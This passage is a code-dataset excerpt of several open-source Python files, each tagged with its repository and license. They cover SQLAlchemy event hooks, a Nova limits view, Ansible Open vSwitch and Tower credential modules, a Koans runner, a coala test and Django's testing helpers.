execution options from its parent :class:`.Engine`; to intercept this condition, use the :meth:`.ConnectionEvents.engine_connect` event. :param conn: The newly copied :class:`.Connection` object :param opts: dictionary of options that were passed to the :meth:`.Connection.execution_options` method. .. versionadded:: 0.9.0 .. seealso:: :meth:`.ConnectionEvents.set_engine_execution_options` - event which is called when :meth:`.Engine.execution_options` is called. """ def set_engine_execution_options(self, engine, opts): """Intercept when the :meth:`.Engine.execution_options` method is called. The :meth:`.Engine.execution_options` method produces a shallow copy of the :class:`.Engine` which stores the new options. That new :class:`.Engine` is passed here. A particular application of this method is to add a :meth:`.ConnectionEvents.engine_connect` event handler to the given :class:`.Engine` which will perform some per- :class:`.Connection` task specific to these execution options. :param conn: The newly copied :class:`.Engine` object :param opts: dictionary of options that were passed to the :meth:`.Connection.execution_options` method. .. versionadded:: 0.9.0 .. seealso:: :meth:`.ConnectionEvents.set_connection_execution_options` - event which is called when :meth:`.Connection.execution_options` is called. """ def begin(self, conn): """Intercept begin() events. :param conn: :class:`.Connection` object """ def rollback(self, conn): """Intercept rollback() events, as initiated by a :class:`.Transaction`. Note that the :class:`.Pool` also "auto-rolls back" a DBAPI connection upon checkin, if the ``reset_on_return`` flag is set to its default value of ``'rollback'``. To intercept this rollback, use the :meth:`.PoolEvents.reset` hook. :param conn: :class:`.Connection` object .. seealso:: :meth:`.PoolEvents.reset` """ def commit(self, conn): """Intercept commit() events, as initiated by a :class:`.Transaction`. Note that the :class:`.Pool` may also "auto-commit" a DBAPI connection upon checkin, if the ``reset_on_return`` flag is set to the value ``'commit'``. To intercept this commit, use the :meth:`.PoolEvents.reset` hook. :param conn: :class:`.Connection` object """ def savepoint(self, conn, name): """Intercept savepoint() events. :param conn: :class:`.Connection` object :param name: specified name used for the savepoint. """ def rollback_savepoint(self, conn, name, context): """Intercept rollback_savepoint() events. :param conn: :class:`.Connection` object :param name: specified name used for the savepoint. :param context: :class:`.ExecutionContext` in use. May be ``None``. """ def release_savepoint(self, conn, name, context): """Intercept release_savepoint() events. :param conn: :class:`.Connection` object :param name: specified name used for the savepoint. :param context: :class:`.ExecutionContext` in use. May be ``None``. """ def begin_twophase(self, conn, xid): """Intercept begin_twophase() events. :param conn: :class:`.Connection` object :param xid: two-phase XID identifier """ def prepare_twophase(self, conn, xid): """Intercept prepare_twophase() events. :param conn: :class:`.Connection` object :param xid: two-phase XID identifier """ def rollback_twophase(self, conn, xid, is_prepared): """Intercept rollback_twophase() events. :param conn: :class:`.Connection` object :param xid: two-phase XID identifier :param is_prepared: boolean, indicates if :meth:`.TwoPhaseTransaction.prepare` was called. """ def commit_twophase(self, conn, xid, is_prepared): """Intercept commit_twophase() events. :param conn: :class:`.Connection` object :param xid: two-phase XID identifier :param is_prepared: boolean, indicates if :meth:`.TwoPhaseTransaction.prepare` was called. """ class DialectEvents(event.Events): """event interface for execution-replacement functions. These events allow direct instrumentation and replacement of key dialect functions which interact with the DBAPI. .. note:: :class:`.DialectEvents` hooks should be considered **semi-public** and experimental. These hooks are not for general use and are only for those situations where intricate re-statement of DBAPI mechanics must be injected onto an existing dialect. For general-use statement-interception events, please use the :class:`.ConnectionEvents` interface. .. seealso:: :meth:`.ConnectionEvents.before_cursor_execute` :meth:`.ConnectionEvents.before_execute` :meth:`.ConnectionEvents.after_cursor_execute` :meth:`.ConnectionEvents.after_execute` .. versionadded:: 0.9.4 """ _target_class_doc = "SomeEngine" _dispatch_target = Dialect @classmethod def _listen(cls, event_key, retval=False): target, identifier, fn = \ event_key.dispatch_target, event_key.identifier, event_key.fn target._has_events = True event_key.base_listen() @classmethod def _accept_with(cls, target): if isinstance(target, type): if issubclass(target, Engine): return Dialect elif issubclass(target, Dialect): return target elif isinstance(target, Engine): return target.dialect else: return target def do_executemany(self, cursor, statement, parameters, context): """Receive a cursor to have executemany() called. Return the value True to halt further events from invoking, and to indicate that the cursor execution has already taken place within the event handler. """ def do_execute_no_params(self, cursor, statement, context): """Receive a cursor to have execute() with no parameters called. Return the value True to halt further events from invoking, and to indicate that the cursor execution has already taken place within the event handler. """ def do_execute(self, cursor, statement, parameters, context): """Receive a cursor to have execute() called. Return the value True to halt further events from invoking, and to indicate that the cursor execution has already taken place within the event handler. """
adamwwt/chvac
venv/lib/python2.7/site-packages/sqlalchemy/events.py
Python
mit
40,130
# Copyright 2010-2011 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import datetime from nova.openstack.common import timeutils class ViewBuilder(object): """OpenStack API base limits view builder.""" def build(self, rate_limits, absolute_limits): rate_limits = self._build_rate_limits(rate_limits) absolute_limits = self._build_absolute_limits(absolute_limits) output = { "limits": { "rate": rate_limits, "absolute": absolute_limits, }, } return output def _build_absolute_limits(self, absolute_limits): """Builder for absolute limits absolute_limits should be given as a dict of limits. For example: {"ram": 512, "gigabytes": 1024}. """ limit_names = { "ram": ["maxTotalRAMSize"], "instances": ["maxTotalInstances"], "cores": ["maxTotalCores"], "key_pairs": ["maxTotalKeypairs"], "floating_ips": ["maxTotalFloatingIps"], "metadata_items": ["maxServerMeta", "maxImageMeta"], "injected_files": ["maxPersonality"], "injected_file_content_bytes": ["maxPersonalitySize"], "security_groups": ["maxSecurityGroups"], "security_group_rules": ["maxSecurityGroupRules"], } limits = {} for name, value in absolute_limits.iteritems(): if name in limit_names and value is not None: for name in limit_names[name]: limits[name] = value return limits def _build_rate_limits(self, rate_limits): limits = [] for rate_limit in rate_limits: _rate_limit_key = None _rate_limit = self._build_rate_limit(rate_limit) # check for existing key for limit in limits: if (limit["uri"] == rate_limit["URI"] and limit["regex"] == rate_limit["regex"]): _rate_limit_key = limit break # ensure we have a key if we didn't find one if not _rate_limit_key: _rate_limit_key = { "uri": rate_limit["URI"], "regex": rate_limit["regex"], "limit": [], } limits.append(_rate_limit_key) _rate_limit_key["limit"].append(_rate_limit) return limits def _build_rate_limit(self, rate_limit): _get_utc = datetime.datetime.utcfromtimestamp next_avail = _get_utc(rate_limit["resetTime"]) return { "verb": rate_limit["verb"], "value": rate_limit["value"], "remaining": int(rate_limit["remaining"]), "unit": rate_limit["unit"], "next-available": timeutils.isotime(at=next_avail), } class ViewBuilderV3(ViewBuilder): def build(self, rate_limits): rate_limits = self._build_rate_limits(rate_limits) return {"limits": {"rate": rate_limits}}
eharney/nova
nova/api/openstack/compute/views/limits.py
Python
apache-2.0
3,639
#!/usr/bin/python #coding: utf-8 -*- # (c) 2013, David Stygstra <david.stygstra@gmail.com> # # Portions copyright @ 2015 VMware, Inc. # # This file is part of Ansible # # This module is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This software is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this software. If not, see <http://www.gnu.org/licenses/>. # pylint: disable=C0111 DOCUMENTATION = ''' --- module: openvswitch_bridge version_added: 1.4 author: "David Stygstra (@stygstra)" short_description: Manage Open vSwitch bridges requirements: [ ovs-vsctl ] description: - Manage Open vSwitch bridges options: bridge: required: true description: - Name of bridge to manage state: required: false default: "present" choices: [ present, absent ] description: - Whether the bridge should exist timeout: required: false default: 5 description: - How long to wait for ovs-vswitchd to respond external_ids: version_added: 2.0 required: false default: None description: - A dictionary of external-ids. Omitting this parameter is a No-op. To clear all external-ids pass an empty value. fail_mode: version_added: 2.0 default: None required: false choices : [secure, standalone] description: - Set bridge fail-mode. The default value (None) is a No-op. ''' EXAMPLES = ''' # Create a bridge named br-int - openvswitch_bridge: bridge=br-int state=present # Create an integration bridge - openvswitch_bridge: bridge=br-int state=present fail_mode=secure args: external_ids: bridge-id: "br-int" ''' class OVSBridge(object): """ Interface to ovs-vsctl. """ def __init__(self, module): self.module = module self.bridge = module.params['bridge'] self.state = module.params['state'] self.timeout = module.params['timeout'] self.fail_mode = module.params['fail_mode'] def _vsctl(self, command): '''Run ovs-vsctl command''' return self.module.run_command(['ovs-vsctl', '-t', str(self.timeout)] + command) def exists(self): '''Check if the bridge already exists''' rtc, _, err = self._vsctl(['br-exists', self.bridge]) if rtc == 0: # See ovs-vsctl(8) for status codes return True if rtc == 2: return False self.module.fail_json(msg=err) def add(self): '''Create the bridge''' rtc, _, err = self._vsctl(['add-br', self.bridge]) if rtc != 0: self.module.fail_json(msg=err) if self.fail_mode: self.set_fail_mode() def delete(self): '''Delete the bridge''' rtc, _, err = self._vsctl(['del-br', self.bridge]) if rtc != 0: self.module.fail_json(msg=err) def check(self): '''Run check mode''' changed = False # pylint: disable=W0703 try: if self.state == 'present' and self.exists(): if (self.fail_mode and (self.fail_mode != self.get_fail_mode())): changed = True ## # Check if external ids would change. current_external_ids = self.get_external_ids() exp_external_ids = self.module.params['external_ids'] if exp_external_ids is not None: for (key, value) in exp_external_ids: if ((key in current_external_ids) and (value != current_external_ids[key])): changed = True ## # Check if external ids would be removed. for (key, value) in current_external_ids.items(): if key not in exp_external_ids: changed = True elif self.state == 'absent' and self.exists(): changed = True elif self.state == 'present' and not self.exists(): changed = True except Exception, earg: self.module.fail_json(msg=str(earg)) # pylint: enable=W0703 self.module.exit_json(changed=changed) def run(self): '''Make the necessary changes''' changed = False # pylint: disable=W0703 try: if self.state == 'absent': if self.exists(): self.delete() changed = True elif self.state == 'present': if not self.exists(): self.add() changed = True current_fail_mode = self.get_fail_mode() if self.fail_mode and (self.fail_mode != current_fail_mode): self.module.log( "changing fail mode %s to %s" % (current_fail_mode, self.fail_mode)) self.set_fail_mode() changed = True current_external_ids = self.get_external_ids() ## # Change and add existing external ids. exp_external_ids = self.module.params['external_ids'] if exp_external_ids is not None: for (key, value) in exp_external_ids.items(): if ((value != current_external_ids.get(key, None)) and self.set_external_id(key, value)): changed = True ## # Remove current external ids that are not passed in. for (key, value) in current_external_ids.items(): if ((key not in exp_external_ids) and self.set_external_id(key, None)): changed = True except Exception, earg: self.module.fail_json(msg=str(earg)) # pylint: enable=W0703 self.module.exit_json(changed=changed) def get_external_ids(self): """ Return the bridge's external ids as a dict. """ results = {} if self.exists(): rtc, out, err = self._vsctl(['br-get-external-id', self.bridge]) if rtc != 0: self.module.fail_json(msg=err) lines = out.split("\n") lines = [item.split("=") for item in lines if len(item) > 0] for item in lines: results[item[0]] = item[1] return results def set_external_id(self, key, value): """ Set external id. """ if self.exists(): cmd = ['br-set-external-id', self.bridge, key] if value: cmd += [value] (rtc, _, err) = self._vsctl(cmd) if rtc != 0: self.module.fail_json(msg=err) return True return False def get_fail_mode(self): """ Get failure mode. """ value = '' if self.exists(): rtc, out, err = self._vsctl(['get-fail-mode', self.bridge]) if rtc != 0: self.module.fail_json(msg=err) value = out.strip("\n") return value def set_fail_mode(self): """ Set failure mode. """ if self.exists(): (rtc, _, err) = self._vsctl(['set-fail-mode', self.bridge, self.fail_mode]) if rtc != 0: self.module.fail_json(msg=err) # pylint: disable=E0602 def main(): """ Entry point. """ module = AnsibleModule( argument_spec={ 'bridge': {'required': True}, 'state': {'default': 'present', 'choices': ['present', 'absent']}, 'timeout': {'default': 5, 'type': 'int'}, 'external_ids': {'default': None, 'type': 'dict'}, 'fail_mode': {'default': None}, }, supports_check_mode=True, ) bridge = OVSBridge(module) if module.check_mode: bridge.check() else: bridge.run() # pylint: disable=W0614 # pylint: disable=W0401 # pylint: disable=W0622 # import module snippets from ansible.module_utils.basic import * main()
calamityman/ansible-modules-extras
network/openvswitch_bridge.py
Python
gpl-3.0
8,748
#!/usr/bin/env python # -*- coding: utf-8 -*- # The path to enlightenment starts with the following: import unittest from koans.about_asserts import AboutAsserts from koans.about_strings import AboutStrings from koans.about_none import AboutNone from koans.about_lists import AboutLists from koans.about_list_assignments import AboutListAssignments from koans.about_dictionaries import AboutDictionaries from koans.about_string_manipulation import AboutStringManipulation from koans.about_tuples import AboutTuples from koans.about_methods import AboutMethods from koans.about_control_statements import AboutControlStatements from koans.about_true_and_false import AboutTrueAndFalse from koans.about_sets import AboutSets from koans.about_triangle_project import AboutTriangleProject from koans.about_exceptions import AboutExceptions from koans.about_triangle_project2 import AboutTriangleProject2 from koans.about_iteration import AboutIteration from koans.about_comprehension import AboutComprehension from koans.about_generators import AboutGenerators from koans.about_lambdas import AboutLambdas from koans.about_scoring_project import AboutScoringProject from koans.about_classes import AboutClasses from koans.about_with_statements import AboutWithStatements from koans.about_monkey_patching import AboutMonkeyPatching from koans.about_dice_project import AboutDiceProject from koans.about_method_bindings import AboutMethodBindings from koans.about_decorating_with_functions import AboutDecoratingWithFunctions from koans.about_decorating_with_classes import AboutDecoratingWithClasses from koans.about_inheritance import AboutInheritance from koans.about_multiple_inheritance import AboutMultipleInheritance from koans.about_regex import AboutRegex from koans.about_scope import AboutScope from koans.about_modules import AboutModules from koans.about_packages import AboutPackages from koans.about_class_attributes import AboutClassAttributes from koans.about_attribute_access import AboutAttributeAccess from koans.about_deleting_objects import AboutDeletingObjects from koans.about_proxy_object_project import * from koans.about_extra_credit import AboutExtraCredit def koans(): loader = unittest.TestLoader() suite = unittest.TestSuite() loader.sortTestMethodsUsing = None suite.addTests(loader.loadTestsFromTestCase(AboutAsserts)) suite.addTests(loader.loadTestsFromTestCase(AboutStrings)) suite.addTests(loader.loadTestsFromTestCase(AboutNone)) suite.addTests(loader.loadTestsFromTestCase(AboutLists)) suite.addTests(loader.loadTestsFromTestCase(AboutListAssignments)) suite.addTests(loader.loadTestsFromTestCase(AboutDictionaries)) suite.addTests(loader.loadTestsFromTestCase(AboutStringManipulation)) suite.addTests(loader.loadTestsFromTestCase(AboutTuples)) suite.addTests(loader.loadTestsFromTestCase(AboutMethods)) suite.addTests(loader.loadTestsFromTestCase(AboutControlStatements)) suite.addTests(loader.loadTestsFromTestCase(AboutTrueAndFalse)) suite.addTests(loader.loadTestsFromTestCase(AboutSets)) suite.addTests(loader.loadTestsFromTestCase(AboutTriangleProject)) suite.addTests(loader.loadTestsFromTestCase(AboutExceptions)) suite.addTests(loader.loadTestsFromTestCase(AboutTriangleProject2)) suite.addTests(loader.loadTestsFromTestCase(AboutIteration)) suite.addTests(loader.loadTestsFromTestCase(AboutComprehension)) suite.addTests(loader.loadTestsFromTestCase(AboutGenerators)) suite.addTests(loader.loadTestsFromTestCase(AboutLambdas)) suite.addTests(loader.loadTestsFromTestCase(AboutScoringProject)) suite.addTests(loader.loadTestsFromTestCase(AboutClasses)) suite.addTests(loader.loadTestsFromTestCase(AboutWithStatements)) suite.addTests(loader.loadTestsFromTestCase(AboutMonkeyPatching)) suite.addTests(loader.loadTestsFromTestCase(AboutDiceProject)) suite.addTests(loader.loadTestsFromTestCase(AboutMethodBindings)) suite.addTests(loader.loadTestsFromTestCase(AboutDecoratingWithFunctions)) suite.addTests(loader.loadTestsFromTestCase(AboutDecoratingWithClasses)) suite.addTests(loader.loadTestsFromTestCase(AboutInheritance)) suite.addTests(loader.loadTestsFromTestCase(AboutMultipleInheritance)) suite.addTests(loader.loadTestsFromTestCase(AboutScope)) suite.addTests(loader.loadTestsFromTestCase(AboutModules)) suite.addTests(loader.loadTestsFromTestCase(AboutPackages)) suite.addTests(loader.loadTestsFromTestCase(AboutClassAttributes)) suite.addTests(loader.loadTestsFromTestCase(AboutAttributeAccess)) suite.addTests(loader.loadTestsFromTestCase(AboutDeletingObjects)) suite.addTests(loader.loadTestsFromTestCase(AboutProxyObjectProject)) suite.addTests(loader.loadTestsFromTestCase(TelevisionTest)) suite.addTests(loader.loadTestsFromTestCase(AboutExtraCredit)) return suite
tokyo-jesus/university
src/python/koans/python3/runner/path_to_enlightenment.py
Python
unlicense
4,893
import unittest from coalib.core.CircularDependencyError import CircularDependencyError class CircularDependencyErrorTest(unittest.TestCase): def test_default_message(self): with self.assertRaises(CircularDependencyError) as cm: # test the default case (names is None) raise CircularDependencyError self.assertEqual(str(cm.exception), 'Circular dependency detected.') def test_message_with_dependency_circle(self): with self.assertRaises(CircularDependencyError) as cm: raise CircularDependencyError(['A', 'B', 'C']) self.assertEqual(str(cm.exception), 'Circular dependency detected: A -> B -> C')
arjunsinghy96/coala
tests/core/CircularDependencyErrorTest.py
Python
agpl-3.0
707
import re import unittest from urlparse import urlsplit, urlunsplit from xml.dom.minidom import parseString, Node from django.conf import settings from django.core import mail from django.core.management import call_command from django.core.urlresolvers import clear_url_caches from django.db import transaction from django.http import QueryDict from django.test import _doctest as doctest from django.test.client import Client from django.utils import simplejson normalize_long_ints = lambda s: re.sub(r'(?<![\w])(\d+)L(?![\w])', '\\1', s) def to_list(value): """ Puts value into a list if it's not already one. Returns an empty list if value is None. """ if value is None: value = [] elif not isinstance(value, list): value = [value] return value class OutputChecker(doctest.OutputChecker): def check_output(self, want, got, optionflags): "The entry method for doctest output checking. Defers to a sequence of child checkers" checks = (self.check_output_default, self.check_output_long, self.check_output_xml, self.check_output_json) for check in checks: if check(want, got, optionflags): return True return False def check_output_default(self, want, got, optionflags): "The default comparator provided by doctest - not perfect, but good for most purposes" return doctest.OutputChecker.check_output(self, want, got, optionflags) def check_output_long(self, want, got, optionflags): """Doctest does an exact string comparison of output, which means long integers aren't equal to normal integers ("22L" vs. "22"). The following code normalizes long integers so that they equal normal integers. """ return normalize_long_ints(want) == normalize_long_ints(got) def check_output_xml(self, want, got, optionsflags): """Tries to do a 'xml-comparision' of want and got. Plain string comparision doesn't always work because, for example, attribute ordering should not be important. Based on http://codespeak.net/svn/lxml/trunk/src/lxml/doctestcompare.py """ _norm_whitespace_re = re.compile(r'[ \t\n][ \t\n]+') def norm_whitespace(v): return _norm_whitespace_re.sub(' ', v) def child_text(element): return ''.join([c.data for c in element.childNodes if c.nodeType == Node.TEXT_NODE]) def children(element): return [c for c in element.childNodes if c.nodeType == Node.ELEMENT_NODE] def norm_child_text(element): return norm_whitespace(child_text(element)) def attrs_dict(element): return dict(element.attributes.items()) def check_element(want_element, got_element): if want_element.tagName != got_element.tagName: return False if norm_child_text(want_element) != norm_child_text(got_element): return False if attrs_dict(want_element) != attrs_dict(got_element): return False want_children = children(want_element) got_children = children(got_element) if len(want_children) != len(got_children): return False for want, got in zip(want_children, got_children): if not check_element(want, got): return False return True want, got = self._strip_quotes(want, got) want = want.replace('\\n','\n') got = got.replace('\\n','\n') # If the string is not a complete xml document, we may need to add a # root element. This allow us to compare fragments, like "<foo/><bar/>" if not want.startswith('<?xml'): wrapper = '<root>%s</root>' want = wrapper % want got = wrapper % got # Parse the want and got strings, and compare the parsings. try: want_root = parseString(want).firstChild got_root = parseString(got).firstChild except: return False return check_element(want_root, got_root) def check_output_json(self, want, got, optionsflags): "Tries to compare want and got as if they were JSON-encoded data" want, got = self._strip_quotes(want, got) try: want_json = simplejson.loads(want) got_json = simplejson.loads(got) except: return False return want_json == got_json def _strip_quotes(self, want, got): """ Strip quotes of doctests output values: >>> o = OutputChecker() >>> o._strip_quotes("'foo'") "foo" >>> o._strip_quotes('"foo"') "foo" >>> o._strip_quotes("u'foo'") "foo" >>> o._strip_quotes('u"foo"') "foo" """ def is_quoted_string(s): s = s.strip() return (len(s) >= 2 and s[0] == s[-1] and s[0] in ('"', "'")) def is_quoted_unicode(s): s = s.strip() return (len(s) >= 3 and s[0] == 'u' and s[1] == s[-1] and s[1] in ('"', "'")) if is_quoted_string(want) and is_quoted_string(got): want = want.strip()[1:-1] got = got.strip()[1:-1] elif is_quoted_unicode(want) and is_quoted_unicode(got): want = want.strip()[2:-1] got = got.strip()[2:-1] return want, got class DocTestRunner(doctest.DocTestRunner): def __init__(self, *args, **kwargs): doctest.DocTestRunner.__init__(self, *args, **kwargs) self.optionflags = doctest.ELLIPSIS def report_unexpected_exception(self, out, test, example, exc_info): doctest.DocTestRunner.report_unexpected_exception(self, out, test, example, exc_info) # Rollback, in case of database errors. Otherwise they'd have # side effects on other tests. transaction.rollback_unless_managed() class TestCase(unittest.TestCase): def _pre_setup(self): """Performs any pre-test setup. This includes: * Flushing the database. * If the Test Case class has a 'fixtures' member, installing the named fixtures. * If the Test Case class has a 'urls' member, replace the ROOT_URLCONF with it. * Clearing the mail test outbox. """ call_command('flush', verbosity=0, interactive=False) if hasattr(self, 'fixtures'): # We have to use this slightly awkward syntax due to the fact # that we're using *args and **kwargs together. call_command('loaddata', *self.fixtures, **{'verbosity': 0}) if hasattr(self, 'urls'): self._old_root_urlconf = settings.ROOT_URLCONF settings.ROOT_URLCONF = self.urls clear_url_caches() mail.outbox = [] def __call__(self, result=None): """ Wrapper around default __call__ method to perform common Django test set up. This means that user-defined Test Cases aren't required to include a call to super().setUp(). """ self.client = Client() try: self._pre_setup() except (KeyboardInterrupt, SystemExit): raise except Exception: import sys result.addError(self, sys.exc_info()) return super(TestCase, self).__call__(result) try: self._post_teardown() except (KeyboardInterrupt, SystemExit): raise except Exception: import sys result.addError(self, sys.exc_info()) return def _post_teardown(self): """ Performs any post-test things. This includes: * Putting back the original ROOT_URLCONF if it was changed. """ if hasattr(self, '_old_root_urlconf'): settings.ROOT_URLCONF = self._old_root_urlconf clear_url_caches() def assertRedirects(self, response, expected_url, status_code=302, target_status_code=200, host=None): """Asserts that a response redirected to a specific URL, and that the redirect URL can be loaded. Note that assertRedirects won't work for external links since it uses TestClient to do a request. """ self.assertEqual(response.status_code, status_code, ("Response didn't redirect as expected: Response code was %d" " (expected %d)" % (response.status_code, status_code))) url = response['Location'] scheme, netloc, path, query, fragment = urlsplit(url) e_scheme, e_netloc, e_path, e_query, e_fragment = urlsplit(expected_url) if not (e_scheme or e_netloc): expected_url = urlunsplit(('http', host or 'testserver', e_path, e_query, e_fragment)) self.assertEqual(url, expected_url, "Response redirected to '%s', expected '%s'" % (url, expected_url)) # Get the redirection page, using the same client that was used # to obtain the original response. redirect_response = response.client.get(path, QueryDict(query)) self.assertEqual(redirect_response.status_code, target_status_code, ("Couldn't retrieve redirection page '%s': response code was %d" " (expected %d)") % (path, redirect_response.status_code, target_status_code)) def assertContains(self, response, text, count=None, status_code=200): """ Asserts that a response indicates that a page was retrieved successfully, (i.e., the HTTP status code was as expected), and that ``text`` occurs ``count`` times in the content of the response. If ``count`` is None, the count doesn't matter - the assertion is true if the text occurs at least once in the response. """ self.assertEqual(response.status_code, status_code, "Couldn't retrieve page: Response code was %d (expected %d)'" % (response.status_code, status_code)) real_count = response.content.count(text) if count is not None: self.assertEqual(real_count, count, "Found %d instances of '%s' in response (expected %d)" % (real_count, text, count)) else: self.failUnless(real_count != 0, "Couldn't find '%s' in response" % text) def assertNotContains(self, response, text, status_code=200): """ Asserts that a response indicates that a page was retrieved successfully, (i.e., the HTTP status code was as expected), and that ``text`` doesn't occurs in the content of the response. """ self.assertEqual(response.status_code, status_code, "Couldn't retrieve page: Response code was %d (expected %d)'" % (response.status_code, status_code)) self.assertEqual(response.content.count(text), 0, "Response should not contain '%s'" % text) def assertFormError(self, response, form, field, errors): """ Asserts that a form used to render the response has a specific field error. """ # Put context(s) into a list to simplify processing. contexts = to_list(response.context) if not contexts: self.fail('Response did not use any contexts to render the' ' response') # Put error(s) into a list to simplify processing. errors = to_list(errors) # Search all contexts for the error. found_form = False for i,context in enumerate(contexts): if form not in context: continue found_form = True for err in errors: if field: if field in context[form].errors: field_errors = context[form].errors[field] self.failUnless(err in field_errors, "The field '%s' on form '%s' in" " context %d does not contain the" " error '%s' (actual errors: %s)" % (field, form, i, err, repr(field_errors))) elif field in context[form].fields: self.fail("The field '%s' on form '%s' in context %d" " contains no errors" % (field, form, i)) else: self.fail("The form '%s' in context %d does not" " contain the field '%s'" % (form, i, field)) else: non_field_errors = context[form].non_field_errors() self.failUnless(err in non_field_errors, "The form '%s' in context %d does not contain the" " non-field error '%s' (actual errors: %s)" % (form, i, err, non_field_errors)) if not found_form: self.fail("The form '%s' was not used to render the response" % form) def assertTemplateUsed(self, response, template_name): """ Asserts that the template with the provided name was used in rendering the response. """ template_names = [t.name for t in to_list(response.template)] if not template_names: self.fail('No templates used to render the response') self.failUnless(template_name in template_names, (u"Template '%s' was not a template used to render the response." u" Actual template(s) used: %s") % (template_name, u', '.join(template_names))) def assertTemplateNotUsed(self, response, template_name): """ Asserts that the template with the provided name was NOT used in rendering the response. """ template_names = [t.name for t in to_list(response.template)] self.failIf(template_name in template_names, (u"Template '%s' was used unexpectedly in rendering the" u" response") % template_name)
Shrews/PyGerrit
webapp/django/test/testcases.py
Python
apache-2.0
14,719
#!/usr/bin/python # coding: utf-8 -*- # (c) 2017, Wayne Witzel III <wayne@riotousliving.com> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: tower_credential author: "Wayne Witzel III (@wwitzel3)" version_added: "2.3" short_description: create, update, or destroy Ansible Tower credential. description: - Create, update, or destroy Ansible Tower credentials. See U(https://www.ansible.com/tower) for an overview. options: name: description: - The name to use for the credential. required: True description: description: - The description to use for the credential. user: description: - User that should own this credential. required: False default: null team: description: - Team that should own this credential. required: False default: null project: description: - Project that should for this credential. required: False default: null organization: description: - Organization that should own the credential. required: False default: null kind: description: - Type of credential being added. required: True choices: ["ssh", "net", "scm", "aws", "rax", "vmware", "satellite6", "cloudforms", "gce", "azure", "azure_rm", "openstack"] host: description: - Host for this credential. required: False default: null username: description: - Username for this credential. access_key for AWS. required: False default: null password: description: - Password for this credential. Use ASK for prompting. secret_key for AWS. api_key for RAX. required: False default: null ssh_key_data: description: - Path to SSH private key. required: False default: null ssh_key_unlock: description: - Unlock password for ssh_key. Use ASK for prompting. authorize: description: - Should use authroize for net type. required: False default: False authorize_password: description: - Password for net credentials that require authroize. required: False default: null client: description: - Client or application ID for azure_rm type. required: False default: null secret: description: - Secret token for azure_rm type. required: False default: null subscription: description: - Subscription ID for azure_rm type. required: False default: null tenant: description: - Tenant ID for azure_rm type. required: False default: null domain: description: - Domain for openstack type. required: False default: null become_method: description: - Become method to Use for privledge escalation. required: False choices: ["None", "sudo", "su", "pbrun", "pfexec", "pmrun"] default: "None" become_username: description: - Become username. Use ASK for prompting. required: False default: null become_password: description: - Become password. Use ASK for prompting. required: False default: null vault_password: description: - Valut password. Use ASK for prompting. state: description: - Desired state of the resource. required: False default: "present" choices: ["present", "absent"] extends_documentation_fragment: tower ''' EXAMPLES = ''' - name: Add tower credential tower_credential: name: Team Name description: Team Description organization: test-org state: present tower_config_file: "~/tower_cli.cfg" ''' import os from ansible.module_utils.ansible_tower import tower_argument_spec, tower_auth_config, tower_check_mode, HAS_TOWER_CLI try: import tower_cli import tower_cli.utils.exceptions as exc from tower_cli.conf import settings except ImportError: pass def main(): argument_spec = tower_argument_spec() argument_spec.update(dict( name=dict(required=True), user=dict(), team=dict(), kind=dict(required=True, choices=["ssh", "net", "scm", "aws", "rax", "vmware", "satellite6", "cloudforms", "gce", "azure", "azure_rm", "openstack"]), host=dict(), username=dict(), password=dict(no_log=True), ssh_key_data=dict(no_log=True, type='path'), ssh_key_unlock=dict(no_log=True), authorize=dict(type='bool', default=False), authorize_password=dict(no_log=True), client=dict(), secret=dict(), tenant=dict(), subscription=dict(), domain=dict(), become_method=dict(), become_username=dict(), become_password=dict(no_log=True), vault_password=dict(no_log=True), description=dict(), organization=dict(required=True), project=dict(), state=dict(choices=['present', 'absent'], default='present'), )) module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True) if not HAS_TOWER_CLI: module.fail_json(msg='ansible-tower-cli required for this module') name = module.params.get('name') organization = module.params.get('organization') state = module.params.get('state') json_output = {'credential': name, 'state': state} tower_auth = tower_auth_config(module) with settings.runtime_values(**tower_auth): tower_check_mode(module) credential = tower_cli.get_resource('credential') try: params = module.params.copy() params['create_on_missing'] = True if organization: org_res = tower_cli.get_resource('organization') org = org_res.get(name=organization) params['organization'] = org['id'] if params['ssh_key_data']: filename = params['ssh_key_data'] if not os.path.exists(filename): module.fail_json(msg='file not found: %s' % filename) if os.path.isdir(filename): module.fail_json(msg='attempted to read contents of directory: %s' % filename) with open(filename, 'rb') as f: params['ssh_key_data'] = f.read() if state == 'present': result = credential.modify(**params) json_output['id'] = result['id'] elif state == 'absent': result = credential.delete(**params) except (exc.NotFound) as excinfo: module.fail_json(msg='Failed to update credential, organization not found: {0}'.format(excinfo), changed=False) except (exc.ConnectionError, exc.BadRequest, exc.NotFound) as excinfo: module.fail_json(msg='Failed to update credential: {0}'.format(excinfo), changed=False) json_output['changed'] = result['changed'] module.exit_json(**json_output) from ansible.module_utils.basic import AnsibleModule if __name__ == '__main__': main()
tsdmgz/ansible
lib/ansible/modules/web_infrastructure/ansible_tower/tower_credential.py
Python
gpl-3.0
7,515
